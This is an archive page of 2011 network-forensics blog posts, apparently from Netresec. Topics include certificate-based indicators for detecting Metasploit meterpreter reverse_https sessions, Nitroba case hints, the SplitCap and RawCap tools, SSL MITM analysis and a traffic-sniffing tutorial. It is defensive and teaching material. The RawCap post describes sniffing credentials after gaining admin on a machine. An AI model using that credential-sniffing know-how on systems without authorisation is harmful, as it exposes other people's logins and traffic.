$ openssl x509 -inform DER -noout -text -in 9f.yr6pjr0szk.9totrpxqe.m.cer
Version: 3 (0x2)
Serial Number: -733922202 (-0x2bbec39a)
Signature Algorithm: sha1WithRSAEncryption
Issuer: C=US, ST=AZ, L=xaprmubDjHJDPfEEWYeLx, O=zXUImDczrRMXYRMtucfHVqfLWrXm,
Not Before: Jun 21 08:17:11 2011 GMT
Not After : Jul 21 18:17:11 2011 GMT
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
RSA Public Key: (1024 bit)
Modulus (1024 bit):
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Basic Constraints:
X509v3 Subject Key Identifier:
X509v3 Extended Key Usage:
TLS Web Server Authentication
X509v3 Key Usage:
Digital Signature, Key Encipherment, Data Encipherment
X509v3 Authority Key Identifier:

Signature Algorithm: sha1WithRSAEncryption

$ openssl x509 -inform DER -noout -text -in
Version: 3 (0x2)
Serial Number: -604506869 (-0x24080af5)
Signature Algorithm: sha1WithRSAEncryption
Issuer: C=US, ST=VA, L=tigHlRKNLUgNdtZDYbrXg, O=bRzvgbfYRydWIzNIUcUuCCyaFGo,
Not Before: Jun 24 07:30:49 2011 GMT
Not After : Jul 24 17:30:49 2011 GMT
Subject: C=US, ST=KS, L=DJakaGdxLmrsm, O=uRQXLZzhIMLNrwxFdGvfZaEwgZp,
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
RSA Public Key: (1024 bit)
Modulus (1024 bit):
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Basic Constraints:
X509v3 Subject Key Identifier:
X509v3 Extended Key Usage:
TLS Web Server Authentication
X509v3 Key Usage:
Digital Signature, Key Encipherment, Data Encipherment
X509v3 Authority Key Identifier:

Signature Algorithm: sha1WithRSAEncryption

$ openssl x509 -inform DER -noout -text -in imtb8yp.7kh.on4nyye.s8dgv.cer
Version: 3 (0x2)
Serial Number: -578853718 (-0x22809b56)
Signature Algorithm: sha1WithRSAEncryption
Issuer: C=US, ST=WA, L=ZtwHCLKrKdUtvYLQ, O=KHjTGIuuHFvGNbvFudaUfGztPoNf,
Not Before: Jun 24 07:36:40 2011 GMT
Not After : Jul 24 17:36:40 2011 GMT
Subject: C=US, ST=CO, L=gqKLcJHtJFmbSxVoIs, O=vJcarDAHufJWWmmVLdRxpEEbKS,
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
RSA Public Key: (1024 bit)
Modulus (1024 bit):
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Basic Constraints:
X509v3 Subject Key Identifier:
X509v3 Extended Key Usage:
TLS Web Server Authentication
X509v3 Key Usage:
Digital Signature, Key Encipherment, Data Encipherment
X509v3 Authority Key Identifier:

Signature Algorithm: sha1WithRSAEncryption

All three certificates seem to have randomly generated data in a lot of fields. The CN's of both the issuer and the certificate owner always seem to be in the following format: [RANDOM-DATA].com/gov/net. I also noticed that the validity period of all certificates was exactly one month. None of the certificates are, of course, not signed by any trusted CA (just as the case was with the TOR traffic I found in Richard Bejtlich's sample lab).

To sum up my findings, these are some indicators that can be used to detect Metasploit's reverse_https meterpreter sessions simply by passively looking at network traffic:

  • The certificate isn't signed by a trusted CA
  • The domain names are random (i.e. don't really exist)
  • Domain names end with .com, .gov or .net
  • Validity period is stated to be exactly one month

A more general approach would be to monitor all network traffic for certificates that are not signed by a trusted CA. Doing this would, of course, generate a lot of false positives, but I still believe it could be an effective part of a “Defensible Network Architecture”.

Posted by Erik Hjelmvik on Saturday, 09 July 2011 17:42:00 (UTC/GMT)

Tags: #Netresec

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Solution to the Nitroba case

UPDATE (June 16, 2011): This blog post has been modified in consent with Dr. Simson Garfinkel since the Nitroba case is actively being used in digital forensics classes. The actual solution to the case has now been replaced with hints and clues.

I recently received a request to help solve a network forensics case called "Nitroba University Harassment Scenario".

I regularly keep track of publicly available pcap files on the Internet, but this one was new to me. I therefore dived in and started analyzing the pcap file.

Case Description

The slides describing the Nitroba case present the following scenario:

You are a staff member at the Nitroba University Incident Response Team. Lily Tuckrige is teaching chemistry CHEM109 this summer at NSU. Tuckrige has been receiving harassing email at her personal email address.
  • Tuckrige's personal email is
  • She thinks that it is from one of the students in her class.
After locating the NAT:ed private network from where the harassment emails are sent from the scenario continues with:
"To find out what's going on, Nitroba's IT sets up a packet sniffer"
Good for us, this means we have some captured packets to analyze with NetworkMiner!

While the traffic was being sniffed Lily received a new email, this time with a link to a webpage with a message titled "you can't find us" and the content "and you can't hide from us. Stop teaching. Start running."

Harassment email

Clues to solving the Nitroba case

Here is a short writeup of hints and clues to how the Nitroba case can be solved:

A good starting point is to look for the session where the self-destruct email was being posted to the website. One way to do this is to pick a couple of keywords from the message (such as "teaching" and "running") and add them to the Keywords tab of NetworkMiner. You will then have to press the "Reload Case Files" button in order to let NetworkMiner re-parse the nitroba.pcap file while looking for these keywords. Look in the Context column for text that seems to be from the self-destruct message.

Nitroba keywords teaching and running

You can also take some time to browse through the other tabs of NetworkMiner... Who knows, maybe the self-destruct message is even easier to find than you might expect? ;)

After you've identified the IP address of the machine from where the self-destruct message was sent you'll need to start looking for clues as to who is using the computer with that IP address. Here are a few suggestions for things to consider:

  • At what point in time was the self-destruct message sent?
  • Has the sender's IP address been used by one or several computers?
  • What online services (webmail / social media / instant messaging etc.) has the user of this IP address been logged into?
For the last bullet (online services) I recommend that you take a closer look at my Webmail Information Leakage blog to get even more hints.

Feedback to DEEP

I really enjoyed the Nitroba case, and thought it was a really good training case to be used for educational purposes. Thanks Naval Postgraduate School's Digital Evaluation and Exploitation (DEEP) group for creating this network forensics case!

Posted by Erik Hjelmvik on Thursday, 16 June 2011 18:31:00 (UTC/GMT)

Tags: #Netresec

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Dont miss SEC-T in September

The Swedish technical IT security conference SEC-T will be held on 8th and 9th of September this year. The SEC-T conference is a really nice arrangement that brings some high quality speakers from around the world to Stockholm for two days.


The call for papers (CFP) for SEC-T was released a couple of days ago, including requests for topics ranging from “Why the attacker always wins” and “how to run a CIRT” to “Offensive tools and techniques, from bug-hunting to post-exploitation”.

A great thing about SEC-T is that is arranged by a non-profit organization:

“SEC-T is a non-profit organisation that was created to host an annual technical security conference in Stockholm, Sweden. Our mission is to spread security awareness and information about security threats among the swedish tech community.”
See for more details.

The SEC-T crew have also released a challenge, which can be retrieved from here:

“This year we are really challenging you all with our hardest puzzle yet! To really give you a fair chance we are releasing the challenge 5 months in advance, that's just how hard it is.

There will be two winners who both will win a free ticket to the conference and special VIP treatment during the event (no travel). The person to send us the correct solution quickest will be the first winner and the second winner will be determined by style and completeness of the attached write-up.”

PS. Netresec are not affiliated with SEC-T, we are just happy that there is an annual high-quality IT security conference held here in Sweden.

Posted by Erik Hjelmvik on Sunday, 15 May 2011 13:35:00 (UTC/GMT)

Tags: #SEC-T

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Split or filter your PCAP files with SplitCap

SplitCap Hatchet

I've released version 1.6 of a tool called SplitCap today. SplitCap is a really fast PCAP file splitter, which can be used to split large pcap files based on for example IP addresses or sessions. You can also use SplitCap in order to filter out traffic to/from specific IP addresses or port numbers from a large pcap file.

The best thing about SplitCap is that it is FAST, much faster than the alternatives.

Split frames in a PCAP file into one file per IP

The -s switch can be used with arguments flow, host, hostpair or nosplit and tells SplitCap how the frames should be separated into the output pcap files.

SplitCap.exe -r huge.pcap -s host
When running the command above SplitCap creates a directory called "huge.pcap" and fills it with lots of pcap files -- one pcap file per identified IP-address (i.e. host). The generated files are named according to the IP address they contain traffic for. Here is how the files from huge.pcap are named:

Split frames based on session

What I believe is a unique feature of SplitCap is the ability to split a pcap file based on session, i.e. the frames from each TCP or UDP session are placed in a separate pcap file. The session split mode is the default one, but you can also use the -s session argument to tell SplitCap to use the session split mode.

SplitCap.exe -r huge.pcap -s session
The generated files get names describing the 5-tuple (proto, src_ip, src_port, dst_ip, dst_port) for which they contain traffic. Here is an example showing how the files can be named:
Note that the session parameter tells SplitCap to join frames going both to and from the server into the same pcap file. If you instead wanna separate the two directions into separate pcap files, then you can use the -s flow switch.

Filter PCAP file on IP address

You can filter a pcap file based on address with the -ip switch like this:

SplitCap.exe -r huge.pcap -ip -s nosplit
The -s nosplit argument is used to tell SplitCap not to split the pcap into one file per session. The generated file "huge.pcap.NoSplit.pcap" will only contain frames going to or from the IP address You can also specify multiple IP addresses if you are interested in traffic to/from more than one IP address:
SplitCap.exe -r huge.pcap -ip -ip -s nosplit

Filter PCAP file on port number

What if you are only interested in DNS (UDP+TCP 53) and HTTP (TCP 80) traffic in a PCAP file? Well, then you can specify these port numbers as arguments to SplitCap like this:

SplitCap.exe -r huge.pcap -port 53 -port 80 -s nosplit
This command creates a file named "huge.pcap.NoSplit.pcap" that only contains the frames going to or from ports 53 and 80.

Extract application layer (L7) contents

A pretty cool thing with SplitCap is the ability to extract application (i.e. layer 7) data from a pcap file with the -y L7 argument. I'll use the file "dump.eth0.1059726000.pcap" from Defcon 11 here to demonstrate how to extract layer 7 payload from SMTP (TCP 25) traffic to files (one per session).

SplitCap.exe -r dump.eth0.1059726000.pcap -s session -port 25 -y L7
This command creates 10 files with a ".bin" file extention in the output directory. Each such bin file contains the application layer data for both directions (server->client and vice versa) from an SMTP session.

One of the generated SMTP session files is called "dump.eth0.1059726000.pcap.TCP_64-48-248-30_25_192-168-17-79_33443.bin" and looks something like this (I've redacted some of the contents):

250 ok
250 ok
354 go ahead
Reply-To: <[REDACTED]>
Subject: RE: Just checking in
Date: Fri, 1 Aug 2003 16:28:25 -0400
Message-ID: [REDACTED]
MIME-Version: 1.0
Content-Type: multipart/alternative;
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
Importance: Normal
In-Reply-To: [REDACTED]

This is a multi-part message in MIME format.

Content-Type: text/plain;
Content-Transfer-Encoding: 7bit

i am going to gulfport mississippi for the story. am in las vegas now. will
be in mississippi on sunday.
the guy who is really good on this and helped me actually was [REDACTED]
from uspirg. he put me in contact with a whistle blower.

-----Original Message-----
Sent: Friday, August 01, 2003 4:17 PM
Subject: Just checking in

I wanted to make sure you are getting everything you need from us and to
check in on the story. Let me know if/when you want to sit down with
[REDACTED] on this. Hope all is well, [REDACTED]

SplitCap is FAST, really FAST!

So how fast is SplitCap at splitting or filtering a pcap file? Let's do a simple benchmark and compare it to the well known tool Tshark. Again, lets use the 189 MB file "dump.eth0.1059726000.pcap" from Defcon 11 for this example.

Filtering the file based on IP with Tshark takes 50 seconds (4 MB/s).

tshark.exe -r dump.eth0.1059726000.pcap -R "ip.addr eq" -w defcon11_tshark_filtered.pcap
Performing an equivalent filtering with SplitCap takes 3 seconds (63 MB/s). That is 16 times faster than running Tshark!
SplitCap.exe -r dump.eth0.1059726000.pcap -ip -s nosplit

You can read more about other command line tools from Netresec in the following posts:

SplitCap can be downloaded from here:

Posted by Erik Hjelmvik on Sunday, 08 May 2011 17:41:00 (UTC/GMT)

Tags: #Netresec #pcap #filter

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

PCAP is now a valid MIME type

Samy Molcho 1960

The libpcap packet dump format used by applications like tcpdump, Wireshark, NetworkMiner, RawCap, Argus and many others is now a valid MIME type.

The guy behind this effort is Glen Turner, who has done a great job writing the pcap MIME type application. This application was accepted by IANA on March 31 this year and is now published at

Your UNIX-type OS is probably not yet supporting this MIME type, but why not give it a try? This is what it looks like when I grep for pcap in /etc/mime.types of an Ubuntu machine:

erik@ubuntu:~$ grep pcap /etc/mime.types
application/cap          cap pcap

This is not the new MIME type, it's an old not-so-good type from the Debian project. Gerald Combs (yes, the Wireshark guy) has submitted a bug report to Debian requesting for this old MIME type to be replaced with the new “application/vnd.tcpdump.pcap” one. When this is implemented I believe the same command above would look something like this:

erik@ubuntu:~$ grep pcap /etc/mime.types
application/vnd.tcpdump.pcap          pcap cap

Standardizing the PCAP file format

The MIME type definition for vnd.tcpdump.pcap does contain a very short description of the pcap file format. There is, for example, a brief explanation of the PCAP magic number 0xa1b2c3d4 (or 0xd4c3b2a1), which is used in order to figure out if the pcap is written in big-endian (a.k.a. network byte order) or little-endian byte order. I was, however, hoping the MIME type definition would contain a much more complete definition of the pcap file format than so.

The best available description of the pcap file currently available is in my opinion the Libpcap File Format entry at the Wireshark Wiki. This description is pretty well written, but I would prefer to see it published as an IETF RFC or as part of the IANA MIME type definition. But I suppose the registration of PCAP as a MIME type is a first step towards having the PCAP file format standardized...

Update (November 2012)

The website is a free online service for converting files from the Pcap-NG format into PCAP files. This website serves the converted PCAP files using the "application/vnd.tcpdump.pcap" MIME type as Content-Type.

Posted by Erik Hjelmvik on Tuesday, 26 April 2011 19:33:00 (UTC/GMT)

Tags: #PCAP

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

RawCap sniffer for Windows released

RawCap sniffer

We are today proud to announce the release of RawCap, which is a free raw sockets sniffer for Windows.

Here are some highlights of why RawCap is a great tool to have in your toolset:

  • Can sniff any interface that has got an IP address, including (localhost/loopback)
  • RawCap.exe is just 17 kB
  • No external libraries or DLL's needed
  • No installation required, just download RawCap.exe and sniff
  • Can sniff most interface types, including WiFi and PPP interfaces
  • Minimal memory and CPU load
  • Reliable and simple to use


RawCap takes two arguments; the first argument is the IP address or interface number to sniff from, the second is the path/file to write the captured packets to.

C:\Tools>RawCap.exe dumpfile.pcap

You can also start RawCap without any arguments, which will leave you with an interactive dialog where you can select NIC and filename:

Network interfaces:
0.    Local Area Connection
1.    Wireless Network Connection
2.   3G UMTS Internet
3.   VMware Network Adapter VMnet1
4.   VMware Network Adapter VMnet2
5.       Loopback Pseudo-Interface
Select network interface to sniff [default '0']: 1
Output path or filename [default 'dumpfile.pcap']:
Sniffing IP :
File        : dumpfile.pcap
Packets     : 1337

For Incident Responders

RawCap comes in very handy for incident responders who want to be able to sniff network traffic locally at the clients of the corporate network. Here are a few examples of how RawCap can be used for incident response:

  1. A company laptop somewhere on the corporate network is believed to exfiltrate sensitive coporate information to a foreign server on the Internet by using a UMTS 3G connection on a USB dongle. After finding the internal IP address on the corporate network the Incident Response Team (IRT) use the Sysinternals tool PsExec to inject RawCap.exe onto the laptop and sniff the packets being exfiltrated through the 3G connection. The generated pcap file can be used to determine what the external 3G connection was used for.
  2. A computer is suspected to be infected with malware that uses an SSL tunnelling proxy (stunnel) to encrypt all Command-and-Control (C&C) communication. The data that is to be sent into the tunnel is first sent unencrypted to localhost ( aka loopback interface) before it enters the encrypted tunnel. Incident responders can use RawCap to sniff the traffic to/from localhost on the Windows OS, which is something other sniffing tools cannot do.
  3. A corporate laptop connected to the companies WPA2 encrypted WiFi is found to have suspicious TCP sessions opened to other computers on the same WiFi network. Incident responders can run RawCap locally on any of those machines in order to capture the WiFi network traffic to/from that machine in unencrypted form.

For Penetration Testers

RawCap was not designed for pen-testers, but I realize that there are some situations where the tool can come in hany when doing a penetration test. Here are some examples:

  1. After getting remote access and admin privileges on a Windows XP machine the pen-tester wanna sniff the network traffic of the machine in order to get hold of additional credentials. Sniffing tools like dumpcap, WinDump and NMCap can unfortunately not be used since no WinPcap or NDIS driver is installed. RawCap does, however, not need any special driver installed since it makes use of the Raw Sockets functionality built into Windows. Pen-testers can therefore run RawCap.exe to sniff traffic without installing any drivers.
  2. After getting admin on a box the pen-tester wanna sniff the network traffic, but box uses a WiFi network so traditional sniffing tools won't work. This is when RawCap comes in handy, since it can sniff the WiFi traffic of the owned machine just as easily as if it had been an Ethernet NIC.

Download RawCap

RawCap is provided for free and can be downloaded from here:

Posted by Erik Hjelmvik on Sunday, 10 April 2011 08:32:00 (UTC/GMT)

Tags: #RawCap #Sniffing

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Network Forensic Analysis of SSL MITM Attacks

Enigma-inspired rotor machine

The big news this past week has been the attack against Comodo where false certificates were created for popular domains like,, and

Comodo is a Certificate Authority (CA) that your browser trusts, this means that these false certificates would be accepted by most browsers. But the attack was luckily discovered and the false certificates have now been revoked.

Someone performing a man-in-the-middle (MITM) attack on HTTPS traffic (i.e. HTTP over SSL) would be able to see all content of the encrypted communication, including transmitted usernames and passwords. Such MITM attacks can be performed by someone at your local WiFi connected coffee shop, your employer, your ISP or your government.

There are several ways users can detect MITM attacks, even when the certificate seems to be signed by a trusted CA. There are, for example, Firefox plugins available from Certificate Patrol as well as Perspectives that can help users by alerting on “new” certificates that have not been seen before.

But how would you go about doing forensic analysis of captured network traffic from a suspected MITM attack?

My suggestion is to load the pcap into NetworkMiner, which will automatically extract the X.509 certificates from the SSL streams to files with the “.cer” extension. These .cer files can be opened in MS Windows default certificate viewer for further inspection, simply right-click the extracted file in NetworkMiner and select “Open file”. I will in this blog post use the file “test1.pcap” from the “social nOtworking site”

SSL capture file test1.pcap opened in NetworkMiner Professional
SSL capture file test1.pcap opened in NetworkMiner Professional

The first thing to inspect in a possible MITM attack is to verify that the IP and DNS name of the server seem to be correct. The next step is to look closer at the server's certificate, for example by opening the .cer file in Windows.

Extracted file opened for inspection
Extracted file opened for inspection

Self signed certificates, revoked certificates and certificates that are signed by non-trusted CAs are generally not to be trusted. Finding such certificates in a pcap file can suggest that an SSL MITM attack has taken place. In this case, however, the certificate for seems to be signed properly by Thawte.

The recent attack on Comodo teaches us that even certificates signed by a trusted CA can be rogue, we can therefore not fully trust this certificate even though it is signed by Thawte. An attacker who has hacked into Thawte could have been able to apply a valid Thawte signature to his own fake certificate for There is also the possibility that some governments might use MITM and false SSL certificates to inspect the contents of encrypted communications. Christopher Soghoian and Sid Stamm's paper “Certified Lies: Detecting and Defeating Government Interception Attacks Against SSL” does for example start out with the following abstract:

“This paper introduces a new attack, the compelled certificate creation attack, in which government agencies compel a certificate authority to issue false SSL certificates that are then used by intelligence agencies to covertly intercept and hijack individuals' secure Web-based communications. We reveal alarming evidence that suggests that this attack is in active use. [...]”

This type of advanced MITM attack, where the certificate is signed by a trusted CA, can be detected by investigating whether or not other people across the internet are receiving the same certificate as you do for a particular website. The Perspectives Project, which is run by Carnegie Mellon School of Computer Science, provides a web based Perspectives Notary Demo that can be used to query their “network notary” servers to see what SSL certs they receive for a particular HTTPS website.

By submitting a query for SSL certificates on TCP 443 on to Perspectives I get the following response:

************************* *************************
Key = 52:12:a2:b1:27:e3:bb:cc:e5:f5:aa:bd:a1:a1:e6:f8
start: Mon Jan 24 11:02:00 2011
end : Sun Mar 27 03:11:18 2011

************************* *************************
Key = d9:4a:90:07:85:f6:83:cd:71:e4:a9:d1:2d:1b:e8:29
start: Mon Jul 6 20:59:14 2009
end : Wed Nov 18 03:15:36 2009
start: Wed Nov 25 15:17:24 2009
end : Thu Dec 10 03:21:52 2009
Key = 0b:d9:68:74:0c:fb:70:8a:91:77:6b:1a:2e:f3:50:2c
start: Wed Nov 18 03:15:37 2009
end : Wed Nov 25 15:17:23 2009
start: Thu Dec 10 03:21:53 2009
end : Wed Dec 23 03:29:22 2009
Key = 52:12:a2:b1:27:e3:bb:cc:e5:f5:aa:bd:a1:a1:e6:f8
start: Wed Dec 23 03:29:23 2009
end : Sat Mar 26 16:06:14 2011

************************* *************************
Key = 52:12:a2:b1:27:e3:bb:cc:e5:f5:aa:bd:a1:a1:e6:f8
start: Fri Jan 21 17:21:53 2011
end : Sun Mar 27 03:44:32 2011

************************* *************************
Key = d9:4a:90:07:85:f6:83:cd:71:e4:a9:d1:2d:1b:e8:29
start: Wed May 6 10:47:37 2009
end : Tue Nov 24 15:46:54 2009
start: Wed Nov 25 15:46:34 2009
end : Wed Dec 9 16:04:13 2009
Key = 0b:d9:68:74:0c:fb:70:8a:91:77:6b:1a:2e:f3:50:2c
start: Tue Nov 24 15:46:55 2009
end : Wed Nov 25 15:46:33 2009
start: Wed Dec 9 16:04:14 2009
end : Tue Dec 22 15:58:32 2009
Key = 52:12:a2:b1:27:e3:bb:cc:e5:f5:aa:bd:a1:a1:e6:f8
start: Tue Dec 22 15:58:33 2009
end : Sun Mar 27 03:41:06 2011

The 16-byte keys received from the four network notary servers are MD5 fingerprints for the certificates they have seen. The built in certificate viewer in Windows unfortunately only shows SHA1 fingerprints (20 bytes), we will therefore need to find some other way of computing an MD5 fingerprint of the certificate. I chose to do this by running OpenSSL in Cygwin, but installing Win32 OpenSSL works just as fine. Calculating the MD5 fingerprint of an SSL certificate with OpenSSL is done like this:

$ openssl x509 -inform DER -in -noout -fingerprint -md5
MD5 Fingerprint=52:12:A2:B1:27:E3:BB:CC:E5:F5:AA:BD:A1:A1:E6:F8

As you can see this fingerprint was also provided by all the four network notaries, so we can assume that no SSL MITM attack was performed on the session between and in test1.pcap.

If you wanna learn more about sniffing and analyzing SSL/TLS encrypted network traffic then I suggest you also read our recent blog posts titled Facebook, SSL and Network Forensics and Webmail-Information-Leakage.

Posted by Erik Hjelmvik on Sunday, 27 March 2011 13:31:00 (UTC/GMT)

Tags: #Netresec

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Sniffing Tutorial part 2 - Dumping Network Traffic to Disk

disk II

This blog post is the second part of a two-part tutorial that shows how to sniff network traffic. The first part covered how to intercept the traffic, i.e. how to get the packets to arrive to your network card. This second part covers how to best capture the network traffic to disk once you've managed to have them sent to your network card.

The first thing I recommend you to do before you start sniffing is to ensure that your sniffer computer stays quiet, so that you don't pollute the sniffed traffic with packets from your sniffer computer. How to do this varies between Windows, Linux and FreeBSD, so I will briefly cover how to silence all three OS's.

Silencing Windows

Windows is normally quite chatty on the network, but there is a simple trick that makes it shut up without disconnecting it from the network. Simply bring up the properties window for your network adapter and un-check all clients, services and protocols from the list of used items.

Local Area Connection Properties

Silencing Linux

I don't know any good way to disable the TCP/IP stack in Linux similar to what we just did to Windows. But by disabling ARP and not giving the interface any IP address the risk of leaking packets can be reduced significantly. To achieve this you'll also need to set the interface to promiscuous mode and disable IPv6. Here's an example of how this can be done in Debian/Ubuntu:

# ifconfig eth0 -arp up
# ifconfig eth0 promisc
# ip addr del dev eth0
# ifconfig eth0 del fe80::1234:ddff:fe3f:1337/64
However, in general it is better to configure the sniffer interface by modifying /etc/network/interfaces to look as follows:
auto eth0
  iface eth0 inet manual
  up ifconfig $IFACE -arp up
  up ip link set $IFACE promisc on
  down ip link set $IFACE promisc off
  down ifconfig $IFACE down

For more details on shuting up your Linux machine I suggest you take a look at the “Undetectable Sniffing On Ethernet” blog post on the Ask Apache blog. I also recommend reading the Ubuntu instructions at the NetworkConfiguration wiki page for Security Onion.

Silencing FreeBSD

One of the many great things about FreeBSD is that it is really easy to configure a network interface to be silent. All you need to do is to issue this single command:

# ifconfig em0 monitor up

Read Richard Bejtlich's blog post “Ifconfig Monitor Option” for more info about this command.

Sniff with dumpcap

The most common software used for sniffing traffic is undoubtedly Wireshark, other common tools are tshark and tcpdump. All these three tools parse the packets as they come in and show data about the sniffed packets in the GUI or on the command line. This isn't desirable when doing network forensics since these application could use up too much resources on parsing the incoming packets, which during traffic peaks can lead to packets being dropped. There might also be bugs in the packet parsing code that can cause the application to crash completely, there have been plenty of such bugs in Wireshark for example.

A much more reliable way to sniff traffic is therefore to use an application that is designed to reliably dump traffic to disk, without trying to parse or analyze the contents of the sniffed frames. One such application is dumpcap, which is a command line tool developed by the Wireshark crew. In fact, as of version 1.4.0 of Wireshark both tshark and Wireshark run dumpcap in the background rather than doing the sniffing themselves. Another great thing about dumpcap is that it is available on Windows as well as on Linux and FreeBSD. My recommendation is to run it under FreeBSD since I consider it to be more reliable than the other operating systems. In order to get dumcap you need to download either Wireshark or tshark since dumpcap doesn't have an installation package of its own.

Dumpcap supports capture filtering with BPF, but I recommend that you sniff ALL packets if you are authorized to do so and have enough disk space. It is much better to do the filtering later on in the analysis phase. The feature I like best in dumpcap is the ring buffer functionality, where it will continue writing incoming frames to a new pcap file once the old one has reached a specific size limit. In order to have dumpcap write sniffed frames to disk and roll over to a new file when it reaches 100.000 kB you'd run this command:

# dumpcap -i em0 -w wiretap.pcap -b filesize:100000

When you've dumped the traffic to disk is when the fun starts, i.e. analyzing the pcap files. You can read more analyzing pcap files in my blog posts about the TCP/IP Weapons School Sample Lab, DFRWS 2009 Challenge, Webmail Information Leakage and Command-line forensics.

Posted by Erik Hjelmvik on Friday, 11 March 2011 16:56:00 (UTC/GMT)

Tags: #dumpcap #Wireshark #tshark #dump #pcap

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Sniffing Tutorial part 1 - Intercepting Network Traffic

A cow's nose

This blog post is the first part of a two-part tutorial that shows how to sniff network traffic. This first part covers how to intercept the traffic, i.e. how to get the packets to arrive to your network card. The second part covers how to best capture the network traffic to disk once you've managed to have them sent to your network card.

I divide the field of network forensics and network security monitoring into two disciplines; capturing (a.k.a. sniffing) the traffic and analyzing the captured traffic. Analyzing the network traffic can be done on many different levels, from the novice's level where IP addresses and layer 7 protocols are listed to the expert who understands all protocol layers and can investigate traffic packet-by-packet. Network traffic analysis is a field where there is always something more to learn and where nobody, not even an expert like Richard Bejtlich, knows everything. Capturing traffic, on the other hand, is more like a craftsmanship; it takes a while to learn how to do it properly, but there is not much new to learn once you've gotten the hang of it. Being able to capture network traffic reliably is, however, essential in order to perform network traffic analysis or network forensics, which is why I decided to write this sniffing tutorial.

Many “n00bs” fire up Wireshark on their own PC expecting to be able to sniff all traffic passing through an Ethernet network. But the 90's are long gone, and all hubs have been replaced by switches, so your NIC nowadays only gets broadcast packets and packets addressed to your NIC. So if you wanna capture traffic from other hosts on the network you somehow need to force that traffic to passes by your NIC. I will here explain some of the most usual ways to achieve this.

Use a legacy “dumb” hub

4 port Netgear Ethernet hub

The good ol' dumb hubs (a.k.a. active hubs) are hard to find these days, but if you're fortunate enough to own one of those old jewels then make sure to hold on to it. You might also get lucky and find a used hub on ebay. These beauties repeat all Ethernet frames arriving at one port to all the other ports on the hub, which is just what we want in order to sniff all the traffic. Just place the hub at a choke-point in your network, for example between your firewall and the rest of the network, and connect your sniffer PC directly to the hub (see my ASCII image below).

Hub in choke-point

One downside of using a hub is that all these extra packets being sent on all the hub's ports increase the risk of packet collisions, i.e. when two nodes on a shared media network are transmitting at the same time. Every time a collision occurs on an Ethernet network the nodes on the shared media segment will pause for a random time before they continue sending data, this functionality is called CSMA/CD. For TCP based protocols such collisions result in lots of ugly retransmissions, while the data in collided UDP packets never will reach their destination since UDP doesn't support retransmissions.

Configure a monitor port on a managed switch

Network switches

A much better solution than using a hub is to configure a monitor port on a managed switch, from which you wish to tap some traffic. Monitor ports have different names depending on the vendor, Cisco call theirs SPAN ports, others use the term “port mirroring”. A monitor port is typically configured so that it copies all sent and received frames for a particular port to a monitor port, which is where you connect your sniffer. You can normally also configure the switch to copy traffic from all ports to the monitor port, but this can cause duplicate packets since each packet will be copied both when coming in on one port as well as when it goes out on another port. It is therefore usually better to monitor only the uplink port if you wish to monitor all hosts connected to a switch.

The major downside of sniffing traffic of a monitor port is that the primary functionality of a switch is to forward traffic from the sender to the receiver, not to send copies of that traffic to a monitor port. This means that if there is a high load on the switch it will prioritize sending the received frames to the recipient over copying them to the monitor port. You therefore run the risk of not always getting all transmitted packets to your monitor port, which might be acceptable in some situations but isn't acceptable in a network forensics investigation. Finding out if your monitor port has missed some packets isn't easy, but Charles Smutz explains how this can be done in his blog post “Flushing out Leaky Taps”.

Network Tap

The most reliable way to sniff traffic is to use a network tap. A network tap is a “bump-in-the-wire” device designed only to copy traffic passing through it to a monitor port. You typically insert a network tap inline between two nodes in a network, such as between your firewall and your first switch. A good network tap will cost you at least 1.000 EUR, but those are money well spent if you wanna be able to perform reliable network monitoring.

If you're planning to buy a network tap I recommend getting a link aggregation tap, which can merge uplink and downlink traffic to one single monitor port. This way you don't need two network interfaces on your sniffer PC. Both major tap vendors Net Optics and VSS Monitoring sell aggregation taps.

A downside of using a network tap compared to configuring a monitor port is that there will be a short downtime on the network while connecting and disconnecting the tap. I therefore recommend to install network taps when you have a service window. And when you have a tap connected at a good choke-point in your network I recommend that you leave it there after you're done, since you never know when you might need to come back and sniff some more.

ARP poisoning

A technique commonly used by hackers and penetration testers for getting hold of traffic in a switched environment is to use ARP poisoning. Basically ARP poisoning is a technique where two hosts on a network are tricked into sending packets destined for each other to a sniffer machine on the network. I'm not gonna describe this method in any more detail than so since ARP poisoning is a technique that I don't recommend using. Tools used for performing ARP poisoning are hacker tools like Cain & Abel and Ettercap. Another similar technique that I also don't recommend using is overflowing the CAM table.

Still not bored?

If you wanna learn even more about setting up monitor ports and sniffing traffic I recommend that you take a look at Betty DuBois' presentation titled “BU-11: SPAN/Mirror/Monitor vs. Taps: When should I use what, and why should I care?” from Sharkfest '09. The good people of LoveMyTool have provided a video recording of Betty's talk at

There is also a great list of various network tapping options over at the Argus website.

Continue reading part 2 of this sniffing tutorial, where I cover how to dump the traffic to disk.

Posted by Erik Hjelmvik on Friday, 11 March 2011 16:52:00 (UTC/GMT)

Tags: #Sniff #Capture #Monitor

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Command-line Network Forensics with NetworkMinerCLI

NetworkMinerCLI is a Command Line Interface version of NetworkMiner Professional. Apart from being faster than the GUI version NetworkMinerCLI also has the benefit of being easy to integrate into scripts of various kinds (Batch / perl / python / PowerShell / etc).

Running NetworkMinerCLI.exe from your NetworkMiner Professional USB flash drive shows the syntax and arguments to use:

Usage: F:\NetworkMinerProfessional_1-0\NetworkMinerCLI.exe [OPTIONS]

 -r <input_file>        : Set the pcap file to read
 -w <output_directory>  : Directory to store output files in
 -b <frame_buffer_size> : Number of frames to buffer in memory (5000 = default)
 -noHeader              : Disables column headers for CSV files

